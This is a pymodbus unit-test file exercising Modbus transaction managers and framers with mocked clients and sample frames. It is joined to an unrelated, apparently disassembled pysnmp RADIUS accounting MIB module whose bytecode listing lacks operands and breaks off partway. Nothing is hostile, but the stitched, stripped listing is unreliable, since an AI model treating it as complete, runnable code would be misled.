self._tls = ModbusTlsFramer(decoder=self.decoder, client=None) self._rtu = ModbusRtuFramer(decoder=self.decoder, client=None) self._ascii = ModbusAsciiFramer(decoder=self.decoder, client=None) self._binary = ModbusBinaryFramer(decoder=self.decoder, client=None) self._manager = DictTransactionManager(self.client) self._tm = ModbusTransactionManager(self.client) def test_calculate_expected_response_length(self): """Test calculate expected response length.""" self._tm.client = mock.MagicMock() self._tm.client.framer = mock.MagicMock() self._tm._set_adu_size() # pylint: disable=protected-access assert ( not self._tm._calculate_response_length( # pylint: disable=protected-access 0 ) ) self._tm.base_adu_size = 10 assert ( self._tm._calculate_response_length(5) # pylint: disable=protected-access == 15 ) def test_calculate_exception_length(self): """Test calculate exception length.""" for framer, exception_length in ( ("ascii", 11), ("binary", 7), ("rtu", 5), ("tcp", 9), ("tls", 2), ("dummy", None), ): self._tm.client = mock.MagicMock() if framer == "ascii": self._tm.client.framer = self._ascii elif framer == "binary": self._tm.client.framer = self._binary elif framer == "rtu": self._tm.client.framer = self._rtu elif framer == "tcp": self._tm.client.framer = self._tcp elif framer == "tls": self._tm.client.framer = self._tls else: self._tm.client.framer = mock.MagicMock() self._tm._set_adu_size() # pylint: disable=protected-access assert ( self._tm._calculate_exception_length() # pylint: disable=protected-access == exception_length ) @mock.patch("pymodbus.transaction.time") def test_execute(self, mock_time): """Test execute.""" mock_time.time.side_effect = count() client = mock.MagicMock() client.framer = self._ascii client.framer._buffer = b"deadbeef" # pylint: disable=protected-access client.framer.processIncomingPacket = mock.MagicMock() client.framer.processIncomingPacket.return_value = None client.framer.buildPacket = mock.MagicMock() client.framer.buildPacket.return_value = b"deadbeef" client.framer.sendPacket = mock.MagicMock() client.framer.sendPacket.return_value = len(b"deadbeef") client.framer.decode_data = mock.MagicMock() client.framer.decode_data.return_value = { "slave": 1, "fcode": 222, "length": 27, } request = mock.MagicMock() request.get_response_pdu_size.return_value = 10 request.slave_id = 1 request.function_code = 222 trans = ModbusTransactionManager(client) trans._recv = mock.MagicMock( # pylint: disable=protected-access return_value=b"abcdef" ) assert trans.retries == 3 assert not trans.retry_on_empty trans.getTransaction = mock.MagicMock() trans.getTransaction.return_value = "response" response = trans.execute(request) assert response == "response" trans._recv = mock.MagicMock( # pylint: disable=protected-access return_value=b"abcdef" ) trans.transactions = [] trans.getTransaction = mock.MagicMock() trans.getTransaction.return_value = None response = trans.execute(request) assert isinstance(response, ModbusIOException) trans.retry_on_empty = True trans._recv = mock.MagicMock( # pylint: disable=protected-access side_effect=iter([b"", b"abcdef"]) ) response = trans.execute(request) assert isinstance(response, ModbusIOException) trans._recv = mock.MagicMock( # pylint: disable=protected-access side_effect=iter([b"abcdef", b"deadbe", b"123456"]) ) client.comm_params.handle_local_echo = True trans.retry_on_empty = False trans.retry_on_invalid = False assert trans.execute(request).message == "[Input/Output] Wrong local echo" client.comm_params.handle_local_echo = False trans.retry_on_invalid = True trans._recv = mock.MagicMock( # pylint: disable=protected-access side_effect=iter([b"", b"abcdef", b"deadbe", b"123456"]) ) response = trans.execute(request) assert isinstance(response, ModbusIOException) trans._recv = mock.MagicMock( # pylint: disable=protected-access side_effect=ModbusIOException() ) client.framer.processIncomingPacket.side_effect = mock.MagicMock( side_effect=ModbusIOException() ) assert isinstance(trans.execute(request), ModbusIOException) client.params.broadcast_enable = True request.slave_id = 0 response = trans.execute(request) assert response == b"Broadcast write sent - no response expected" client.comm_params.handle_local_echo = True client.params.broadcast_enable = True recv = mock.MagicMock(return_value=b"deadbeef") trans._recv = recv # pylint: disable=protected-access request.slave_id = 0 response = trans.execute(request) assert response == b"Broadcast write sent - no response expected" recv.assert_called_once_with(8, False) client.comm_params.handle_local_echo = False def test_dict_transaction_manager_tid(self): """Test the dict transaction manager TID.""" for tid in range(1, self._manager.getNextTID() + 10): assert tid + 1 == self._manager.getNextTID() self._manager.reset() assert self._manager.getNextTID() == 1 def test_get_dict_fifo_transaction_manager_transaction(self): """Test the dict transaction manager.""" class Request: # pylint: disable=too-few-public-methods """Request.""" self._manager.reset() handle = Request() handle.transaction_id = ( # pylint: disable=attribute-defined-outside-init self._manager.getNextTID() ) handle.message = b"testing" # pylint: disable=attribute-defined-outside-init self._manager.addTransaction(handle) result = self._manager.getTransaction(handle.transaction_id) assert handle.message == result.message def test_delete_dict_fifo_transaction_manager_transaction(self): """Test the dict transaction manager.""" class Request: # pylint: disable=too-few-public-methods """Request.""" self._manager.reset() handle = Request() handle.transaction_id = ( # pylint: disable=attribute-defined-outside-init self._manager.getNextTID() ) handle.message = b"testing" # pylint: disable=attribute-defined-outside-init self._manager.addTransaction(handle) self._manager.delTransaction(handle.transaction_id) assert not self._manager.getTransaction(handle.transaction_id) def test_tcp_framer_transaction_ready(self): """Test a tcp frame transaction.""" msg = b"\x00\x01\x12\x34\x00\x04\xff\x02\x12\x34" assert not self._tcp.isFrameReady() assert not self._tcp.checkFrame() self._tcp._buffer = msg # pylint: disable=protected-access assert self._tcp.isFrameReady() assert self._tcp.checkFrame() self._tcp.advanceFrame() assert not self._tcp.isFrameReady() assert not self._tcp.checkFrame() assert self._ascii.getFrame() == b"" def test_tcp_framer_transaction_full(self): """Test a full tcp frame transaction.""" msg = b"\x00\x01\x12\x34\x00\x04\xff\x02\x12\x34" self._tcp._buffer = msg # pylint: disable=protected-access assert self._tcp.checkFrame() result = self._tcp.getFrame() assert result == msg[7:] self._tcp.advanceFrame() def test_tcp_framer_transaction_half(self): """Test a half completed tcp frame transaction.""" msg1 = b"\x00\x01\x12\x34\x00" msg2 = b"\x04\xff\x02\x12\x34" self._tcp._buffer = msg1 # pylint: disable=protected-access assert not self._tcp.checkFrame() result = self._tcp.getFrame() assert result == b"" self._tcp._buffer += msg2 assert self._tcp.checkFrame() result = self._tcp.getFrame() assert result == msg2[2:] self._tcp.advanceFrame() def test_tcp_framer_transaction_half2(self): """Test a half completed tcp frame transaction.""" msg1 = b"\x00\x01\x12\x34\x00\x04\xff" msg2 = b"\x02\x12\x34" self._tcp._buffer = msg1 # pylint: disable=protected-access assert not self._tcp.checkFrame() result = self._tcp.getFrame() assert result == b"" self._tcp._buffer += msg2 assert self._tcp.checkFrame() result = self._tcp.getFrame() assert msg2 == result self._tcp.advanceFrame() def test_tcp_framer_transaction_half3(self): """Test a half completed tcp frame transaction.""" msg1 = b"\x00\x01\x12\x34\x00\x04\xff\x02\x12" msg2 = b"\x34" self._tcp._buffer = msg1 # pylint: disable=protected-access assert not self._tcp.checkFrame() result = self._tcp.getFrame() assert result == msg1[7:] self._tcp._buffer += msg2 assert self._tcp.checkFrame() result = self._tcp.getFrame() assert result == msg1[7:] + msg2 self._tcp.advanceFrame() def test_tcp_framer_transaction_short(self): """Test that we can get back on track after an invalid message.""" msg1 = b"\x99\x99\x99\x99\x00\x01\x00\x01" msg2 = b"\x00\x01\x12\x34\x00\x04\xff\x02\x12\x34" self._tcp._buffer = msg1 # pylint: disable=protected-access assert not self._tcp.checkFrame() result = self._tcp.getFrame() assert result == b"" self._tcp.advanceFrame() self._tcp._buffer += msg2 assert len(self._tcp._buffer) == 10 # pylint: disable=protected-access assert self._tcp.checkFrame() result = self._tcp.getFrame() assert result == msg2[7:] self._tcp.advanceFrame() def test_tcp_framer_populate(self): """Test a tcp frame packet build.""" expected = ModbusRequest() expected.transaction_id = 0x0001 expected.protocol_id = 0x1234 expected.slave_id = 0xFF msg = b"\x00\x01\x12\x34\x00\x04\xff\x02\x12\x34" self._tcp._buffer = msg # pylint: disable=protected-access assert self._tcp.checkFrame() actual = ModbusRequest() self._tcp.populateResult(actual) for name in ("transaction_id", "protocol_id", "slave_id"): assert getattr(expected, name) == getattr(actual, name) self._tcp.advanceFrame() def test_tcp_framer_packet(self): """Test a tcp frame packet build.""" old_encode = ModbusRequest.encode ModbusRequest.encode = lambda self: b"" message = ModbusRequest() message.transaction_id = 0x0001 message.protocol_id = 0x1234 message.slave_id = 0xFF message.function_code = 0x01 expected = b"\x00\x01\x12\x34\x00\x02\xff\x01" actual = self._tcp.buildPacket(message) assert expected == actual ModbusRequest.encode = old_encode def test_framer_tls_framer_transaction_ready(self): """Test a tls frame transaction.""" msg = b"\x01\x12\x34\x00\x08" assert not self._tls.isFrameReady() assert not self._tls.checkFrame() self._tls._buffer = msg # pylint: disable=protected-access assert self._tls.isFrameReady() assert self._tls.checkFrame() self._tls.advanceFrame() assert not self._tls.isFrameReady() assert not self._tls.checkFrame() assert self._tls.getFrame() == b"" def test_framer_tls_framer_transaction_full(self): """Test a full tls frame transaction.""" msg = b"\x01\x12\x34\x00\x08" self._tls._buffer = msg # pylint: disable=protected-access assert self._tls.checkFrame() result = self._tls.getFrame() assert result == msg[0:] self._tls.advanceFrame() def test_framer_tls_framer_transaction_half(self): """Test a half completed tls frame transaction.""" msg1 = b"" msg2 = b"\x01\x12\x34\x00\x08" self._tls._buffer = msg1 # pylint: disable=protected-access assert not self._tls.checkFrame() result = self._tls.getFrame() assert result == b"" self._tls._buffer += msg2 assert self._tls.checkFrame() result = self._tls.getFrame() assert result == msg2[0:] self._tls.advanceFrame() def test_framer_tls_framer_transaction_short(self): """Test that we can get back on track after an invalid message.""" msg1 = b"" msg2 = b"\x01\x12\x34\x00\x08" self._tls._buffer = msg1 # pylint: disable=protected-access assert not self._tls.checkFrame() result = self._tls.getFrame() assert result == b"" self._tls.advanceFrame() self._tls._buffer = msg2 # pylint: disable=protected-access assert len(self._tls._buffer) == 5 # pylint: disable=protected-access assert self._tls.checkFrame() result = self._tls.getFrame() assert result == msg2[0:] self._tls.advanceFrame() def test_framer_tls_framer_decode(self): """Testmessage decoding.""" msg1 = b"" msg2 = b"\x01\x12\x34\x00\x08" result = self._tls.decode_data(msg1) assert not result result = self._tls.decode_data(msg2) assert result == {"fcode": 1} self._tls.advanceFrame() def test_framer_tls_incoming_packet(self): """Framer tls incoming packet.""" msg = b"\x01\x12\x34\x00\x08" slave = 0x01 def mock_callback(): """Mock callback.""" self._tls._process = mock.MagicMock() # pylint: disable=protected-access self._tls.isFrameReady = mock.MagicMock(return_value=False) self._tls.processIncomingPacket(msg, mock_callback, slave) assert msg == self._tls._buffer # pylint: disable=protected-access self._tls.advanceFrame() self._tls.isFrameReady = mock.MagicMock(return_value=True) x = mock.MagicMock(return_value=False) self._tls._validate_slave_id = x # pylint: disable=protected-access self._tls.processIncomingPacket(msg, mock_callback, slave) assert not self._tls._buffer # pylint: disable=protected-access self._tls.advanceFrame() x = mock.MagicMock(return_value=True) self._tls._validate_slave_id = x # pylint: disable=protected-access self._tls.processIncomingPacket(msg, mock_callback, slave) assert msg == self._tls._buffer # pylint: disable=protected-access self._tls.advanceFrame() def test_framer_tls_process(self): """Framer tls process.""" class MockResult: # pylint: disable=too-few-public-methods """Mock result.""" def __init__(self, code): """Init.""" self.function_code = code def mock_callback(_arg): """Mock callback.""" self._tls.decoder.decode = mock.MagicMock(return_value=None) with pytest.raises(ModbusIOException): self._tls._process(mock_callback) # pylint: disable=protected-access result = MockResult(0x01) self._tls.decoder.decode = mock.MagicMock(return_value=result) with pytest.raises(InvalidMessageReceivedException): self._tls._process( # pylint: disable=protected-access mock_callback, error=True ) self._tls._process(mock_callback) # pylint: disable=protected-access assert not self._tls._buffer # pylint: disable=protected-access def test_framer_tls_framer_populate(self): """Test a tls frame packet build.""" ModbusRequest() msg = b"\x01\x12\x34\x00\x08" self._tls._buffer = msg # pylint: disable=protected-access assert self._tls.checkFrame() actual = ModbusRequest() self._tls.populateResult(actual) self._tls.advanceFrame() def test_framer_tls_framer_packet(self): """Test a tls frame packet build.""" old_encode = ModbusRequest.encode ModbusRequest.encode = lambda self: b"" message = ModbusRequest() message.function_code = 0x01 expected = b"\x01" actual = self._tls.buildPacket(message) assert expected == actual ModbusRequest.encode = old_encode def test_rtu_framer_transaction_ready(self): """Test if the checks for a complete frame work.""" assert not self._rtu.isFrameReady() msg_parts = [b"\x00\x01\x00", b"\x00\x00\x01\xfc\x1b"] self._rtu._buffer = msg_parts[0] # pylint: disable=protected-access assert not self._rtu.isFrameReady() assert not self._rtu.checkFrame() self._rtu._buffer += msg_parts[1] assert self._rtu.isFrameReady() assert self._rtu.checkFrame() def test_rtu_framer_transaction_full(self): """Test a full rtu frame transaction.""" msg = b"\x00\x01\x00\x00\x00\x01\xfc\x1b" stripped_msg = msg[1:-2] self._rtu._buffer = msg # pylint: disable=protected-access assert self._rtu.checkFrame() result = self._rtu.getFrame() assert stripped_msg == result self._rtu.advanceFrame() def test_rtu_framer_transaction_half(self): """Test a half completed rtu frame transaction.""" msg_parts = [b"\x00\x01\x00", b"\x00\x00\x01\xfc\x1b"] stripped_msg = b"".join(msg_parts)[1:-2] self._rtu._buffer = msg_parts[0] # pylint: disable=protected-access assert not self._rtu.checkFrame() self._rtu._buffer += msg_parts[1] assert self._rtu.isFrameReady() assert self._rtu.checkFrame() result = self._rtu.getFrame() assert stripped_msg == result self._rtu.advanceFrame() def test_rtu_framer_populate(self): """Test a rtu frame packet build.""" request = ModbusRequest() msg = b"\x00\x01\x00\x00\x00\x01\xfc\x1b" self._rtu._buffer = msg # pylint: disable=protected-access self._rtu.populateHeader() self._rtu.populateResult(request) header_dict = self._rtu._header # pylint: disable=protected-access assert len(msg) == header_dict["len"] assert int(msg[0]) == header_dict["uid"] assert msg[-2:] == header_dict["crc"] assert not request.slave_id def test_rtu_framer_packet(self): """Test a rtu frame packet build.""" old_encode = ModbusRequest.encode ModbusRequest.encode = lambda self: b"" message = ModbusRequest() message.slave_id = 0xFF message.function_code = 0x01 expected = b"\xff\x01\x81\x80" # only header + CRC - no data actual = self._rtu.buildPacket(message) assert expected == actual ModbusRequest.encode = old_encode def test_rtu_decode_exception(self): """Test that the RTU framer can decode errors.""" message = b"\x00\x90\x02\x9c\x01" self._rtu._buffer = message # pylint: disable=protected-access result = self._rtu.checkFrame() assert result def test_process(self): """Test process.""" class MockResult: # pylint: disable=too-few-public-methods """Mock result.""" def __init__(self, code): self.function_code = code def mock_callback(_arg): """Mock callback.""" mock_result = MockResult(code=0) self._rtu.getFrame = mock.MagicMock() self._rtu.decoder = mock.MagicMock() self._rtu.decoder.decode = mock.MagicMock(return_value=mock_result) self._rtu.populateResult = mock.MagicMock() self._rtu.advanceFrame = mock.MagicMock() self._rtu._process(mock_callback) # pylint: disable=protected-access self._rtu.populateResult.assert_called_with(mock_result) self._rtu.advanceFrame.assert_called_with() assert self._rtu.advanceFrame.called self._rtu.decoder.decode = mock.MagicMock(return_value=None) with pytest.raises(ModbusIOException): self._rtu._process(mock_callback) # pylint: disable=protected-access def test_rtu_process_incoming_packets(self): """Test rtu process incoming packets.""" mock_data = b"\x00\x01\x00\x00\x00\x01\xfc\x1b" slave = 0x00 def mock_callback(): """Mock callback.""" self._rtu._buffer = mock.MagicMock() # pylint: disable=protected-access self._rtu._process = mock.MagicMock() # pylint: disable=protected-access self._rtu.isFrameReady = mock.MagicMock(return_value=False) self._rtu._buffer = mock_data # pylint: disable=protected-access self._rtu.processIncomingPacket(mock_data, mock_callback, slave) def test_ascii_framer_transaction_ready(self): """Test a ascii frame transaction.""" msg = b":F7031389000A60\r\n" assert not self._ascii.isFrameReady() assert not self._ascii.checkFrame() self._ascii._buffer = msg # pylint: disable=protected-access assert self._ascii.isFrameReady() assert self._ascii.checkFrame() self._ascii.advanceFrame() assert not self._ascii.isFrameReady() assert not self._ascii.checkFrame() assert not self._ascii.getFrame() def test_ascii_framer_transaction_full(self): """Test a full ascii frame transaction.""" msg = b"sss:F7031389000A60\r\n" pack = a2b_hex(msg[6:-4]) self._ascii._buffer = msg # pylint: disable=protected-access assert self._ascii.checkFrame() result = self._ascii.getFrame() assert pack == result self._ascii.advanceFrame() def test_ascii_framer_transaction_half(self): """Test a half completed ascii frame transaction.""" msg1 = b"sss:F7031389" msg2 = b"000A60\r\n" pack = a2b_hex(msg1[6:] + msg2[:-4]) self._ascii._buffer = msg1 # pylint: disable=protected-access assert not self._ascii.checkFrame() result = self._ascii.getFrame() assert not result self._ascii._buffer += msg2 assert self._ascii.checkFrame() result = self._ascii.getFrame() assert pack == result self._ascii.advanceFrame() def test_ascii_framer_populate(self): """Test a ascii frame packet build.""" request = ModbusRequest() self._ascii.populateResult(request) assert not request.slave_id def test_ascii_framer_packet(self): """Test a ascii frame packet build.""" old_encode = ModbusRequest.encode ModbusRequest.encode = lambda self: b"" message = ModbusRequest() message.slave_id = 0xFF message.function_code = 0x01 expected = b":FF0100\r\n" actual = self._ascii.buildPacket(message) assert expected == actual ModbusRequest.encode = old_encode def test_ascii_process_incoming_packets(self): """Test ascii process incoming packet.""" mock_data = b":F7031389000A60\r\n" slave = 0x00 def mock_callback(_mock_data, *_args, **_kwargs): """Mock callback.""" self._ascii.processIncomingPacket(mock_data, mock_callback, slave) self._ascii.checkFrame = mock.MagicMock(return_value=False) self._ascii.processIncomingPacket(mock_data, mock_callback, slave) def test_binary_framer_transaction_ready(self): """Test a binary frame transaction.""" msg = TEST_MESSAGE assert not self._binary.isFrameReady() assert not self._binary.checkFrame() self._binary._buffer = msg # pylint: disable=protected-access assert self._binary.isFrameReady() assert self._binary.checkFrame() self._binary.advanceFrame() assert not self._binary.isFrameReady() assert not self._binary.checkFrame() assert not self._binary.getFrame() def test_binary_framer_transaction_full(self): """Test a full binary frame transaction.""" msg = TEST_MESSAGE pack = msg[2:-3] self._binary._buffer = msg # pylint: disable=protected-access assert self._binary.checkFrame() result = self._binary.getFrame() assert pack == result self._binary.advanceFrame() def test_binary_framer_transaction_half(self): """Test a half completed binary frame transaction.""" msg1 = b"\x7b\x01\x03\x00" msg2 = b"\x00\x00\x05\x85\xC9\x7d" pack = msg1[2:] + msg2[:-3] self._binary._buffer = msg1 # pylint: disable=protected-access assert not self._binary.checkFrame() result = self._binary.getFrame() assert not result self._binary._buffer += msg2 assert self._binary.checkFrame() result = self._binary.getFrame() assert pack == result self._binary.advanceFrame() def test_binary_framer_populate(self): """Test a binary frame packet build.""" request = ModbusRequest() self._binary.populateResult(request) assert not request.slave_id def test_binary_framer_packet(self): """Test a binary frame packet build.""" old_encode = ModbusRequest.encode ModbusRequest.encode = lambda self: b"" message = ModbusRequest() message.slave_id = 0xFF message.function_code = 0x01 expected = b"\x7b\xff\x01\x81\x80\x7d" actual = self._binary.buildPacket(message) assert expected == actual ModbusRequest.encode = old_encode def test_binary_process_incoming_packet(self): """Test binary process incoming packet.""" mock_data = TEST_MESSAGE slave = 0x00 def mock_callback(_mock_data): pass self._binary.processIncomingPacket(mock_data, mock_callback, slave) self._binary.checkFrame = mock.MagicMock(return_value=False) self._binary.processIncomingPacket(mock_data, mock_callback, slave)
data/pymodbus-3.6.4/test/test_transaction.py
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LOAD_NAME mibBuilder LOAD_METHOD importSymbols LOAD_CONST 'ASN1' LOAD_CONST 'Integer' LOAD_CONST 'ObjectIdentifier' LOAD_CONST 'OctetString' CALL_METHOD UNPACK_SEQUENCE STORE_NAME Integer STORE_NAME ObjectIdentifier STORE_NAME OctetString LOAD_NAME mibBuilder LOAD_METHOD importSymbols LOAD_CONST 'ASN1-ENUMERATION' LOAD_CONST 'NamedValues' CALL_METHOD UNPACK_SEQUENCE STORE_NAME NamedValues LOAD_NAME mibBuilder LOAD_METHOD importSymbols LOAD_CONST 'ASN1-REFINEMENT' LOAD_CONST 'ConstraintsUnion' LOAD_CONST 'SingleValueConstraint' LOAD_CONST 'ConstraintsIntersection' LOAD_CONST 'ValueSizeConstraint' LOAD_CONST 'ValueRangeConstraint' CALL_METHOD UNPACK_SEQUENCE STORE_NAME ConstraintsUnion STORE_NAME SingleValueConstraint STORE_NAME ConstraintsIntersection STORE_NAME ValueSizeConstraint STORE_NAME ValueRangeConstraint LOAD_NAME mibBuilder LOAD_METHOD importSymbols LOAD_CONST 'INET-ADDRESS-MIB' LOAD_CONST 'InetPortNumber' LOAD_CONST 'InetAddress' LOAD_CONST 'InetAddressType' CALL_METHOD UNPACK_SEQUENCE STORE_NAME InetPortNumber STORE_NAME InetAddress STORE_NAME InetAddressType LOAD_NAME mibBuilder LOAD_METHOD importSymbols LOAD_CONST 'SNMP-FRAMEWORK-MIB' LOAD_CONST 'SnmpAdminString' CALL_METHOD UNPACK_SEQUENCE STORE_NAME SnmpAdminString LOAD_NAME mibBuilder LOAD_METHOD importSymbols LOAD_CONST 'SNMPv2-CONF' LOAD_CONST 'ModuleCompliance' LOAD_CONST 'ObjectGroup' LOAD_CONST 'NotificationGroup' CALL_METHOD UNPACK_SEQUENCE STORE_NAME ModuleCompliance STORE_NAME ObjectGroup STORE_NAME NotificationGroup LOAD_NAME mibBuilder LOAD_METHOD importSymbols LOAD_CONST 'SNMPv2-SMI' LOAD_CONST 'mib-2' LOAD_CONST 'ModuleIdentity' LOAD_CONST 'Bits' LOAD_CONST 'NotificationType' LOAD_CONST 'Counter32' LOAD_CONST 'Counter64' LOAD_CONST 'MibIdentifier' LOAD_CONST 'Unsigned32' LOAD_CONST 'TimeTicks' LOAD_CONST 'Integer32' LOAD_CONST 'MibScalar' LOAD_CONST 'MibTable' LOAD_CONST 'MibTableRow' LOAD_CONST 'MibTableColumn' LOAD_CONST 'Gauge32' LOAD_CONST 'IpAddress' LOAD_CONST 'ObjectIdentity' LOAD_CONST 'iso' CALL_METHOD UNPACK_SEQUENCE STORE_NAME mib_2 STORE_NAME ModuleIdentity STORE_NAME Bits STORE_NAME NotificationType STORE_NAME Counter32 STORE_NAME Counter64 STORE_NAME MibIdentifier STORE_NAME Unsigned32 STORE_NAME TimeTicks STORE_NAME Integer32 STORE_NAME MibScalar STORE_NAME MibTable STORE_NAME MibTableRow STORE_NAME MibTableColumn STORE_NAME Gauge32 STORE_NAME IpAddress STORE_NAME ObjectIdentity STORE_NAME iso LOAD_NAME mibBuilder LOAD_METHOD importSymbols LOAD_CONST 'SNMPv2-TC' LOAD_CONST 'TextualConvention' LOAD_CONST 'DisplayString' CALL_METHOD UNPACK_SEQUENCE STORE_NAME TextualConvention STORE_NAME DisplayString LOAD_NAME ModuleIdentity LOAD_CONST (1, 3, 6, 1, 2, 1, 67, 2, 2) CALL_FUNCTION LOAD_METHOD setRevisions LOAD_CONST ('2006-08-21 00:00', '1999-06-11 00:00') CALL_METHOD STORE_NAME radiusAccClientMIB LOAD_NAME mibBuilder LOAD_ATTR loadTexts POP_JUMP_IF_FALSE LOAD_NAME radiusAccClientMIB LOAD_METHOD setLastUpdated LOAD_CONST '200608210000Z' CALL_METHOD POP_TOP LOAD_NAME mibBuilder LOAD_ATTR loadTexts EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_NAME radiusAccClientMIB LOAD_METHOD setOrganization LOAD_CONST 'IETF RADIUS Extensions Working Group.' CALL_METHOD POP_TOP LOAD_NAME mibBuilder LOAD_ATTR loadTexts EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_NAME radiusAccClientMIB LOAD_METHOD setContactInfo LOAD_CONST ' Bernard Aboba\n Microsoft\n One Microsoft Way\n Redmond, WA 98052\n US\n Phone: +1 425 936 6605\n EMail: [email protected]' CALL_METHOD POP_TOP LOAD_NAME mibBuilder LOAD_ATTR loadTexts EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_NAME radiusAccClientMIB LOAD_METHOD setDescription LOAD_CONST 'The MIB module for entities implementing the client\n side of the Remote Authentication Dial-In User Service\n (RADIUS) accounting protocol. Copyright (C) The\n Internet Society (2006). This version of this MIB\n module is part of RFC 4670; see the RFC itself for\n full legal notices.' CALL_METHOD POP_TOP LOAD_NAME ObjectIdentity LOAD_CONST (1, 3, 6, 1, 2, 1, 67) CALL_FUNCTION STORE_NAME radiusMIB LOAD_NAME mibBuilder LOAD_ATTR loadTexts EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_NAME radiusMIB LOAD_METHOD setDescription LOAD_CONST 'The OID assigned to RADIUS MIB work by the IANA.' CALL_METHOD POP_TOP LOAD_NAME MibIdentifier LOAD_CONST (1, 3, 6, 1, 2, 1, 67, 2) CALL_FUNCTION STORE_NAME radiusAccounting LOAD_NAME MibIdentifier LOAD_CONST (1, 3, 6, 1, 2, 1, 67, 2, 2, 1) CALL_FUNCTION STORE_NAME radiusAccClientMIBObjects LOAD_NAME MibIdentifier LOAD_CONST (1, 3, 6, 1, 2, 1, 67, 2, 2, 1, 1) CALL_FUNCTION STORE_NAME radiusAccClient LOAD_NAME MibScalar LOAD_CONST (1, 3, 6, 1, 2, 1, 67, 2, 2, 1, 1, 1) LOAD_NAME Counter32 CALL_FUNCTION CALL_FUNCTION LOAD_METHOD setUnits LOAD_CONST 'packets' CALL_METHOD LOAD_METHOD setMaxAccess LOAD_CONST 'readonly' CALL_METHOD STORE_NAME radiusAccClientInvalidServerAddresses LOAD_NAME mibBuilder LOAD_ATTR loadTexts EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_NAME radiusAccClientInvalidServerAddresses LOAD_METHOD setDescription LOAD_CONST 'The number of RADIUS Accounting-Response packets\n received from unknown addresses.' CALL_METHOD POP_TOP LOAD_NAME MibScalar LOAD_CONST (1, 3, 6, 1, 2, 1, 67, 2, 2, 1, 1, 2) LOAD_NAME SnmpAdminString CALL_FUNCTION CALL_FUNCTION LOAD_METHOD setMaxAccess LOAD_CONST 'readonly' CALL_METHOD STORE_NAME radiusAccClientIdentifier LOAD_NAME mibBuilder LOAD_ATTR loadTexts EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_NAME radiusAccClientIdentifier LOAD_METHOD setDescription LOAD_CONST 'The NAS-Identifier of the RADIUS accounting client.\n This is not necessarily the same as sysName in MIB\n II.' CALL_METHOD POP_TOP LOAD_NAME MibTable LOAD_CONST (1, 3, 6, 1, 2, 1, 67, 2, 2, 1, 1, 3) CALL_FUNCTION STORE_NAME radiusAccServerTable LOAD_NAME mibBuilder LOAD_ATTR loadTexts EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_NAME radiusAccServerTable LOAD_METHOD setDescription LOAD_CONST 'The (conceptual) table listing the RADIUS accounting\n servers with which the client shares a secret.' CALL_METHOD POP_TOP LOAD_NAME MibTableRow LOAD_CONST (1, 3, 6, 1, 2, 1, 67, 2, 2, 1, 1, 3, 1) CALL_FUNCTION LOAD_METHOD setIndexNames LOAD_CONST (0, 'RADIUS-ACC-CLIENT-MIB', 'radiusAccServerIndex') CALL_METHOD STORE_NAME radiusAccServerEntry LOAD_NAME mibBuilder LOAD_ATTR loadTexts EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_NAME radiusAccServerEntry LOAD_METHOD setDescription LOAD_CONST 'An entry (conceptual row) representing a RADIUS\n accounting server with which the client shares a\n secret.' CALL_METHOD POP_TOP LOAD_NAME MibTableColumn LOAD_CONST (1, 3, 6, 1, 2, 1, 67, 2, 2, 1, 1, 3, 1, 1) LOAD_NAME Integer32 CALL_FUNCTION LOAD_ATTR subtype LOAD_NAME ValueRangeConstraint LOAD_CONST 1 LOAD_CONST 2147483647 CALL_FUNCTION LOAD_CONST ('subtypeSpec',) CALL_FUNCTION CALL_FUNCTION STORE_NAME radiusAccServerIndex LOAD_NAME mibBuilder LOAD_ATTR loadTexts EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_NAME radiusAccServerIndex LOAD_METHOD setDescription LOAD_CONST 'A number uniquely identifying each RADIUS\n Accounting server with which this client\n communicates.' CALL_METHOD POP_TOP LOAD_NAME MibTableColumn LOAD_CONST (1, 3, 6, 1, 2, 1, 67, 2, 2, 1, 1, 3, 1, 2) LOAD_NAME IpAddress CALL_FUNCTION CALL_FUNCTION LOAD_METHOD setMaxAccess LOAD_CONST 'readonly' CALL_METHOD STORE_NAME radiusAccServerAddress LOAD_NAME mibBuilder LOAD_ATTR loadTexts EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_NAME radiusAccServerAddress LOAD_METHOD setDescription LOAD_CONST 'The IP address of the RADIUS accounting server\n referred to in this table entry.' CALL_METHOD POP_TOP LOAD_NAME MibTableColumn LOAD_CONST (1, 3, 6, 1, 2, 1, 67, 2, 2, 1, 1, 3, 1, 3) LOAD_NAME Integer32 CALL_FUNCTION LOAD_ATTR subtype LOAD_NAME ValueRangeConstraint LOAD_CONST 0 LOAD_CONST 65535 CALL_FUNCTION LOAD_CONST ('subtypeSpec',) CALL_FUNCTION CALL_FUNCTION LOAD_METHOD setMaxAccess LOAD_CONST 'readonly' CALL_METHOD STORE_NAME radiusAccClientServerPortNumber LOAD_NAME mibBuilder LOAD_ATTR loadTexts EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_NAME radiusAccClientServerPortNumber LOAD_METHOD setDescription LOAD_CONST 'The UDP port the client is using to send requests to\n this server.' CALL_METHOD POP_TOP LOAD_NAME MibTableColumn LOAD_CONST (1, 3, 6, 1, 2, 1, 67, 2, 2, 1, 1, 3, 1, 4) LOAD_NAME TimeTicks CALL_FUNCTION CALL_FUNCTION LOAD_METHOD setMaxAccess LOAD_CONST 'readonly' CALL_METHOD STORE_NAME radiusAccClientRoundTripTime LOAD_NAME mibBuilder LOAD_ATTR loadTexts EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_NAME radiusAccClientRoundTripTime LOAD_METHOD setDescription LOAD_CONST 'The time interval between the most recent\n Accounting-Response and the Accounting-Request that\n matched it from this RADIUS accounting server.' CALL_METHOD POP_TOP LOAD_NAME MibTableColumn LOAD_CONST (1, 3, 6, 1, 2, 1, 67, 2, 2, 1, 1, 3, 1, 5) LOAD_NAME Counter32 CALL_FUNCTION CALL_FUNCTION LOAD_METHOD setUnits LOAD_CONST 'packets' CALL_METHOD LOAD_METHOD setMaxAccess LOAD_CONST 'readonly' CALL_METHOD STORE_NAME radiusAccClientRequests LOAD_NAME mibBuilder LOAD_ATTR loadTexts 